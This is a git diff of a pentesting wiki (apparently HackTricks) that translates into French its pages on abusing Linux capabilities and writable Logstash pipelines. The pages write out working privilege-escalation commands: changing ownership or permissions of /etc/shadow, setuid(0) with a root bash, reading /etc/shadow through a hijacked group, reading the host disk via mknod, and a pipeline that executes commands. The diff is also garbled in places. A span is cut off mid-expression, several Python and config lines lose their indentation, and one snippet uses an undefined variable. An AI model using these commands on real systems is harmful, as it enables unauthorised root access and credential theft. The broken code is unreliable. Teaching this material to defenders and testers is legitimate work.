[**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) ## CAP_CHOWN -**This means that it's possible to change the ownership of any file.** +**Cela signifie qu'il est possible de changer la propriété de n'importe quel fichier.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges: +**Exemple avec binaire** +Supposons que le binaire **`python`** ait cette capacité, vous pouvez **changer** le **propriétaire** du fichier **shadow**, **changer le mot de passe root**, et élever les privilèges : ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` - -Or with the **`ruby`** binary having this capability: - +Ou avec le binaire **`ruby`** ayant cette capacité : ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` - ## CAP_FOWNER -**This means that it's possible to change the permission of any file.** +**Cela signifie qu'il est possible de changer les permissions de n'importe quel fichier.** -**Example with binary** - -If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges: +**Exemple avec un binaire** +Si python a cette capacité, vous pouvez modifier les permissions du fichier shadow, **changer le mot de passe root**, et élever les privilèges : ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` - ### CAP_SETUID -**This means that it's possible to set the effective user id of the created process.** +**Cela signifie qu'il est possible de définir l'identifiant utilisateur effectif du processus créé.** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**Exemple avec un binaire** +Si python a cette **capacité**, vous pouvez très facilement en abuser pour élever les privilèges à root : ```python import os os.setuid(0) os.system("/bin/bash") ``` - -**Another way:** - +**Une autre façon :** ```python import os import prctl @@ -1291,17 +1161,15 @@ prctl.cap_effective.setuid = True os.setuid(0) os.system("/bin/bash") ``` - ## CAP_SETGID -**This means that it's possible to set the effective group id of the created process.** +**Cela signifie qu'il est possible de définir l'identifiant de groupe effectif du processus créé.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Il y a beaucoup de fichiers que vous pouvez **écraser pour élever les privilèges,** [**vous pouvez trouver des idées ici**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this case you should look for interesting files that a group can read because you can impersonate any group: +**Exemple avec un binaire** +Dans ce cas, vous devriez chercher des fichiers intéressants que un groupe peut lire car vous pouvez usurper n'importe quel groupe : ```bash #Find every file writable by a group find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null @@ -1310,31 +1178,25 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` - -Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with: - +Une fois que vous avez trouvé un fichier que vous pouvez abuser (en lisant ou en écrivant) pour élever les privilèges, vous pouvez **obtenir un shell en vous faisant passer pour le groupe intéressant** avec : ```python import os os.setgid(42) os.system("/bin/bash") ``` - -In this case the group shadow was impersonated so you can read the file `/etc/shadow`: - +Dans ce cas, le groupe shadow a été usurpé afin que vous puissiez lire le fichier `/etc/shadow`: ```bash cat /etc/shadow ``` - -If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). +Si **docker** est installé, vous pourriez **vous faire passer** pour le **groupe docker** et en abuser pour communiquer avec le [**socket docker** et élever les privilèges](./#writable-docker-socket). ## CAP_SETFCAP -**This means that it's possible to set capabilities on files and processes** +**Cela signifie qu'il est possible de définir des capacités sur des fichiers et des processus** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**Exemple avec un binaire** +Si python a cette **capacité**, vous pouvez très facilement en abuser pour élever les privilèges à root : ```python:setcapability.py import ctypes, sys @@ -1355,22 +1217,20 @@ cap_t = libcap.cap_from_text(cap) status = libcap.cap_set_file(path,cap_t) if(status == 0): - print (cap + " was successfully added to " + path) +print (cap + " was successfully added to " + path) ``` ```bash python setcapability.py /usr/bin/python2.7 ``` - > [!WARNING] -> Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap. +> Notez que si vous définissez une nouvelle capacité pour le binaire avec CAP_SETFCAP, vous perdrez cette capacité. -Once you have [SETUID capability](linux-capabilities.md#cap_setuid) you can go to its section to see how to escalate privileges. +Une fois que vous avez la [capacité SETUID](linux-capabilities.md#cap_setuid), vous pouvez aller à sa section pour voir comment élever les privilèges. -**Example with environment (Docker breakout)** - -By default the capability **CAP_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like: +**Exemple avec l'environnement (Docker breakout)** +Par défaut, la capacité **CAP_SETFCAP est donnée au processus à l'intérieur du conteneur dans Docker**. Vous pouvez vérifier cela en faisant quelque chose comme : ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1382,10 +1242,8 @@ CapAmb: 0000000000000000 capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` - -This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\ -However, if you try to give for example the capabilities CAP_SYS_ADMIN and CAP_SYS_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**: - +Cette capacité permet de **donner toute autre capacité aux binaires**, donc nous pourrions penser à **s'échapper** du conteneur **en abusant de l'une des autres évasions de capacité** mentionnées sur cette page.\ +Cependant, si vous essayez de donner par exemple les capacités CAP_SYS_ADMIN et CAP_SYS_PTRACE au binaire gdb, vous constaterez que vous pouvez les donner, mais le **binaire ne pourra pas s'exécuter après cela** : ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1395,27 +1253,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` - -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP_SETPCAP** capability in its effective set._\ -It looks like the Permitted capabilities limit the ones that can be used.\ -However, Docker also grants the **CAP_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\ -However, in the documentation of this cap: _CAP_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ -It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP_SYS_ADMIN or CAP_SYS_PTRACE in the inherit set to escalate privileges**. +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Ceci est un **sous-ensemble limitant pour les capacités effectives** que le thread peut assumer. C'est aussi un sous-ensemble limitant pour les capacités qui peuvent être ajoutées à l'ensemble héritable par un thread qui **n'a pas la capacité CAP_SETPCAP** dans son ensemble effectif._\ +Il semble que les capacités Permises limitent celles qui peuvent être utilisées.\ +Cependant, Docker accorde également le **CAP_SETPCAP** par défaut, donc vous pourriez être en mesure de **définir de nouvelles capacités à l'intérieur des héritables**.\ +Cependant, dans la documentation de cette capacité : _CAP_SETPCAP : \[…] **ajoute toute capacité de l'ensemble de bornes du thread appelant** à son ensemble héritable_.\ +Il semble que nous ne puissions ajouter à l'ensemble héritable que des capacités de l'ensemble de bornes. Ce qui signifie que **nous ne pouvons pas mettre de nouvelles capacités comme CAP_SYS_ADMIN ou CAP_SYS_PTRACE dans l'ensemble hérité pour escalader les privilèges**. ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fournit un certain nombre d'opérations sensibles, y compris l'accès à `/dev/mem`, `/dev/kmem` ou `/proc/kcore`, modifier `mmap_min_addr`, accéder aux appels système `ioperm(2)` et `iopl(2)`, et diverses commandes disque. Le `FIBMAP ioctl(2)` est également activé via cette capacité, ce qui a causé des problèmes dans le [passé](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Selon la page de manuel, cela permet également au détenteur de `réaliser une gamme d'opérations spécifiques aux dispositifs sur d'autres dispositifs`. -This can be useful for **privilege escalation** and **Docker breakout.** +Cela peut être utile pour **l'escalade de privilèges** et **le contournement de Docker.** ## CAP_KILL -**This means that it's possible to kill any process.** +**Cela signifie qu'il est possible de tuer n'importe quel processus.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor. +**Exemple avec binaire** +Supposons que le **`python`** binaire ait cette capacité. Si vous pouviez **également modifier la configuration de certains services ou sockets** (ou tout fichier de configuration lié à un service), vous pourriez y insérer une porte dérobée, puis tuer le processus lié à ce service et attendre que le nouveau fichier de configuration soit exécuté avec votre porte dérobée. ```python #Use this python code to kill arbitrary processes import os @@ -1423,39 +1279,27 @@ import signal pgid = os.getpgid(341) os.killpg(pgid, signal.SIGKILL) ``` +**Privesc avec kill** -**Privesc with kill** - -If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect. - +Si vous avez des capacités de kill et qu'il y a un **programme node s'exécutant en tant que root** (ou en tant qu'un autre utilisateur), vous pourriez probablement **lui envoyer** le **signal SIGUSR1** et le faire **ouvrir le débogueur node** où vous pouvez vous connecter. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - {{#ref}} electron-cef-chromium-debugger-abuse.md {{#endref}} -​ - -
- -​​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## CAP_NET_BIND_SERVICE -**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. +**Cela signifie qu'il est possible d'écouter sur n'importe quel port (même sur des ports privilégiés).** Vous ne pouvez pas élever les privilèges directement avec cette capacité. -**Example with binary** +**Exemple avec un binaire** -If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports) +Si **`python`** a cette capacité, il pourra écouter sur n'importe quel port et même se connecter à partir de celui-ci à n'importe quel autre port (certains services nécessitent des connexions à partir de ports de privilèges spécifiques) {{#tabs}} {{#tab name="Listen"}} - ```python import socket s=socket.socket() @@ -1463,45 +1307,39 @@ s.bind(('0.0.0.0', 80)) s.listen(1) conn, addr = s.accept() while True: - output = connection.recv(1024).strip(); - print(output) +output = connection.recv(1024).strip(); +print(output) ``` - {{#endtab}} {{#tab name="Connect"}} - ```python import socket s=socket.socket() s.bind(('0.0.0.0',500)) s.connect(('10.10.10.10',500)) ``` - {{#endtab}} {{#endtabs}} ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** is crucial for privileged containers to support operations like ping via RAW ICMP requests. +La capacité [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet aux processus de **créer des sockets RAW et PACKET**, leur permettant de générer et d'envoyer des paquets réseau arbitraires. Cela peut entraîner des risques de sécurité dans des environnements conteneurisés, tels que le spoofing de paquets, l'injection de trafic et le contournement des contrôles d'accès réseau. Des acteurs malveillants pourraient en profiter pour interférer avec le routage des conteneurs ou compromettre la sécurité du réseau hôte, surtout sans protections de pare-feu adéquates. De plus, **CAP_NET_RAW** est crucial pour les conteneurs privilégiés afin de prendre en charge des opérations comme le ping via des requêtes ICMP RAW. -**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability. +**Cela signifie qu'il est possible d'intercepter le trafic.** Vous ne pouvez pas élever les privilèges directement avec cette capacité. -**Example with binary** - -If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. +**Exemple avec un binaire** +Si le binaire **`tcpdump`** a cette capacité, vous pourrez l'utiliser pour capturer des informations réseau. ```bash getcap -r / 2>/dev/null /usr/sbin/tcpdump = cap_net_raw+ep ``` +Notez que si l'**environnement** donne cette capacité, vous pourriez également utiliser **`tcpdump`** pour intercepter le trafic. -Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic. - -**Example with binary 2** - -The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) +**Exemple avec le binaire 2** +L'exemple suivant est du code **`python2`** qui peut être utile pour intercepter le trafic de l'interface "**lo**" (**localhost**). Le code provient du laboratoire "_Les bases : CAP-NET_BIND + NET_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) ```python import socket import struct @@ -1509,11 +1347,11 @@ import struct flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"] def getFlag(flag_value): - flag="" - for i in xrange(8,-1,-1): - if( flag_value & 1 < [!NOTE] -> Note that usually this immutable attribute is set and remove using: +> Notez que généralement cet attribut immuable est défini et supprimé en utilisant : > > ```bash > sudo chattr +i file.txt @@ -1607,47 +1440,46 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet l'exécution de l'appel système `chroot(2)`, ce qui peut potentiellement permettre l'évasion des environnements `chroot(2)` à travers des vulnérabilités connues : -- [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) -- [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) +- [Comment sortir de diverses solutions chroot](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) +- [chw00t : outil d'évasion chroot](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT -[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) not only allows the execution of the `reboot(2)` system call for system restarts, including specific commands like `LINUX_REBOOT_CMD_RESTART2` tailored for certain hardware platforms, but it also enables the use of `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively. +[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet non seulement l'exécution de l'appel système `reboot(2)` pour les redémarrages système, y compris des commandes spécifiques comme `LINUX_REBOOT_CMD_RESTART2` adaptées à certaines plateformes matérielles, mais il permet également l'utilisation de `kexec_load(2)` et, à partir de Linux 3.17, `kexec_file_load(2)` pour charger respectivement de nouveaux noyaux de crash ou des noyaux signés. ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) a été séparé de la plus large **CAP_SYS_ADMIN** dans Linux 2.6.37, accordant spécifiquement la capacité d'utiliser l'appel `syslog(2)`. Cette capacité permet de visualiser les adresses du noyau via `/proc` et des interfaces similaires lorsque le paramètre `kptr_restrict` est à 1, ce qui contrôle l'exposition des adresses du noyau. Depuis Linux 2.6.39, la valeur par défaut de `kptr_restrict` est 0, ce qui signifie que les adresses du noyau sont exposées, bien que de nombreuses distributions définissent cela à 1 (cacher les adresses sauf pour uid 0) ou 2 (cacher toujours les adresses) pour des raisons de sécurité. -Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents. +De plus, **CAP_SYSLOG** permet d'accéder à la sortie de `dmesg` lorsque `dmesg_restrict` est défini à 1. Malgré ces changements, **CAP_SYS_ADMIN** conserve la capacité d'effectuer des opérations `syslog` en raison de précédents historiques. ## CAP_MKNOD -[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include: +[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) étend la fonctionnalité de l'appel système `mknod` au-delà de la création de fichiers réguliers, de FIFOs (tuyaux nommés) ou de sockets de domaine UNIX. Il permet spécifiquement la création de fichiers spéciaux, qui incluent : -- **S_IFCHR**: Character special files, which are devices like terminals. -- **S_IFBLK**: Block special files, which are devices like disks. +- **S_IFCHR** : Fichiers spéciaux de caractères, qui sont des dispositifs comme des terminaux. +- **S_IFBLK** : Fichiers spéciaux de blocs, qui sont des dispositifs comme des disques. -This capability is essential for processes that require the ability to create device files, facilitating direct hardware interaction through character or block devices. +Cette capacité est essentielle pour les processus qui nécessitent la capacité de créer des fichiers de périphériques, facilitant l'interaction directe avec le matériel via des dispositifs de caractères ou de blocs. -It is a default docker capability ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). +C'est une capacité docker par défaut ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). -This capability permits to do privilege escalations (through full disk read) on the host, under these conditions: +Cette capacité permet de réaliser des escalades de privilèges (via une lecture complète du disque) sur l'hôte, sous ces conditions : -1. Have initial access to the host (Unprivileged). -2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`). -3. Host and container should share the same user namespace. +1. Avoir un accès initial à l'hôte (non privilégié). +2. Avoir un accès initial au conteneur (privilégié (EUID 0), et `CAP_MKNOD` effectif). +3. L'hôte et le conteneur doivent partager le même espace de noms utilisateur. -**Steps to Create and Access a Block Device in a Container:** +**Étapes pour créer et accéder à un périphérique de bloc dans un conteneur :** -1. **On the Host as a Standard User:** +1. **Sur l'hôte en tant qu'utilisateur standard :** - - Determine your current user ID with `id`, e.g., `uid=1000(standarduser)`. - - Identify the target device, for example, `/dev/sdb`. - -2. **Inside the Container as `root`:** +- Déterminez votre ID utilisateur actuel avec `id`, par exemple, `uid=1000(standarduser)`. +- Identifiez le périphérique cible, par exemple, `/dev/sdb`. +2. **À l'intérieur du conteneur en tant que `root` :** ```bash # Create a block special file for the host device mknod /dev/sdb b 8 16 @@ -1658,9 +1490,7 @@ useradd -u 1000 standarduser # Switch to the newly created user su standarduser ``` - -3. **Back on the Host:** - +3. **Retour sur l'hôte :** ```bash # Locate the PID of the container process owned by "standarduser" # This is an illustrative example; actual command might vary @@ -1669,28 +1499,27 @@ ps aux | grep -i container_name | grep -i standarduser # Access the container's filesystem and the special block device head /proc/12345/root/dev/sdb ``` - -This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container, exploiting shared user namespaces and permissions set on the device. +Cette approche permet à l'utilisateur standard d'accéder et potentiellement de lire des données depuis `/dev/sdb` via le conteneur, en exploitant les espaces de noms d'utilisateur partagés et les permissions définies sur le périphérique. ### CAP_SETPCAP -**CAP_SETPCAP** enables a process to **alter the capability sets** of another process, allowing for the addition or removal of capabilities from the effective, inheritable, and permitted sets. However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement. +**CAP_SETPCAP** permet à un processus de **modifier les ensembles de capacités** d'un autre processus, permettant l'ajout ou la suppression de capacités des ensembles effectifs, héritables et permis. Cependant, un processus ne peut modifier que les capacités qu'il possède dans son propre ensemble permis, garantissant qu'il ne peut pas élever les privilèges d'un autre processus au-delà des siens. Les mises à jour récentes du noyau ont renforcé ces règles, restreignant `CAP_SETPCAP` à ne diminuer que les capacités dans son propre ensemble permis ou celui de ses descendants, visant à atténuer les risques de sécurité. Son utilisation nécessite d'avoir `CAP_SETPCAP` dans l'ensemble effectif et les capacités cibles dans l'ensemble permis, en utilisant `capset()` pour les modifications. Cela résume la fonction principale et les limitations de `CAP_SETPCAP`, soulignant son rôle dans la gestion des privilèges et l'amélioration de la sécurité. -**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used. +**`CAP_SETPCAP`** est une capacité Linux qui permet à un processus de **modifier les ensembles de capacités d'un autre processus**. Elle accorde la possibilité d'ajouter ou de supprimer des capacités des ensembles de capacités effectifs, héritables et permis d'autres processus. Cependant, il existe certaines restrictions sur la façon dont cette capacité peut être utilisée. -A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege. +Un processus avec `CAP_SETPCAP` **ne peut accorder ou retirer que des capacités qui se trouvent dans son propre ensemble de capacités permis**. En d'autres termes, un processus ne peut pas accorder une capacité à un autre processus s'il ne possède pas cette capacité lui-même. Cette restriction empêche un processus d'élever les privilèges d'un autre processus au-delà de son propre niveau de privilège. -Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**. This change was introduced to reduce potential security risks associated with the capability. +De plus, dans les versions récentes du noyau, la capacité `CAP_SETPCAP` a été **encore restreinte**. Elle ne permet plus à un processus de modifier arbitrairement les ensembles de capacités d'autres processus. Au lieu de cela, elle **ne permet qu'à un processus de réduire les capacités dans son propre ensemble de capacités permis ou l'ensemble de capacités permis de ses descendants**. Ce changement a été introduit pour réduire les risques de sécurité potentiels associés à cette capacité. -To use `CAP_SETPCAP` effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the `capset()` system call to modify the capability sets of other processes. +Pour utiliser `CAP_SETPCAP` efficacement, vous devez avoir la capacité dans votre ensemble de capacités effectif et les capacités cibles dans votre ensemble de capacités permis. Vous pouvez ensuite utiliser l'appel système `capset()` pour modifier les ensembles de capacités d'autres processus. -In summary, `CAP_SETPCAP` allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants. +En résumé, `CAP_SETPCAP` permet à un processus de modifier les ensembles de capacités d'autres processus, mais il ne peut pas accorder des capacités qu'il ne possède pas lui-même. De plus, en raison de préoccupations de sécurité, sa fonctionnalité a été limitée dans les versions récentes du noyau pour ne permettre que la réduction des capacités dans son propre ensemble de capacités permis ou les ensembles de capacités permis de ses descendants. -## References +## Références -**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. +**La plupart de ces exemples ont été tirés de certains laboratoires de** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), donc si vous souhaitez pratiquer ces techniques de privesc, je recommande ces laboratoires. -**Other references**: +**Autres références** : - [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux) - [https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/) @@ -1700,10 +1529,4 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe - [https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot](https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot) ​ - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index fe091391a..dc0d2519d 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -2,59 +2,55 @@ ## Logstash -Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine. +Logstash est utilisé pour **rassembler, transformer et dispatcher des journaux** à travers un système connu sous le nom de **pipelines**. Ces pipelines sont composés de **stages d'entrée**, **de filtre** et **de sortie**. Un aspect intéressant se présente lorsque Logstash fonctionne sur une machine compromise. -### Pipeline Configuration - -Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations: +### Configuration du Pipeline +Les pipelines sont configurés dans le fichier **/etc/logstash/pipelines.yml**, qui liste les emplacements des configurations de pipeline : ```yaml # Define your pipelines here. Multiple pipelines can be defined. # For details on multiple pipelines, refer to the documentation: # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main - path.config: "/etc/logstash/conf.d/*.conf" +path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example - path.config: "/usr/share/logstash/pipeline/1*.conf" - pipeline.workers: 6 +path.config: "/usr/share/logstash/pipeline/1*.conf" +pipeline.workers: 6 ``` +Ce fichier révèle où se trouvent les fichiers **.conf**, contenant des configurations de pipeline. Lors de l'utilisation d'un **module de sortie Elasticsearch**, il est courant que les **pipelines** incluent des **identifiants Elasticsearch**, qui possèdent souvent des privilèges étendus en raison du besoin de Logstash d'écrire des données dans Elasticsearch. Les jokers dans les chemins de configuration permettent à Logstash d'exécuter tous les pipelines correspondants dans le répertoire désigné. -This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory. +### Escalade de privilèges via des pipelines écrits -### Privilege Escalation via Writable Pipelines +Pour tenter une escalade de privilèges, identifiez d'abord l'utilisateur sous lequel le service Logstash s'exécute, généralement l'utilisateur **logstash**. Assurez-vous de répondre à **un** de ces critères : -To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria: +- Posséder un **accès en écriture** à un fichier de pipeline **.conf** **ou** +- Le fichier **/etc/logstash/pipelines.yml** utilise un joker, et vous pouvez écrire dans le dossier cible -- Possess **write access** to a pipeline **.conf** file **or** -- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder +De plus, **une** de ces conditions doit être remplie : -Additionally, **one** of these conditions must be fulfilled: - -- Capability to restart the Logstash service **or** -- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set - -Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance: +- Capacité à redémarrer le service Logstash **ou** +- Le fichier **/etc/logstash/logstash.yml** a **config.reload.automatic: true** défini +Étant donné un joker dans la configuration, créer un fichier qui correspond à ce joker permet l'exécution de commandes. Par exemple : ```bash input { - exec { - command => "whoami" - interval => 120 - } +exec { +command => "whoami" +interval => 120 +} } output { - file { - path => "/tmp/output.log" - codec => rubydebug - } +file { +path => "/tmp/output.log" +codec => rubydebug +} } ``` +Ici, **interval** détermine la fréquence d'exécution en secondes. Dans l'exemple donné, la commande **whoami** s'exécute toutes les 120 secondes, avec sa sortie dirigée vers **/tmp/output.log**. -Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**. - -With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions. 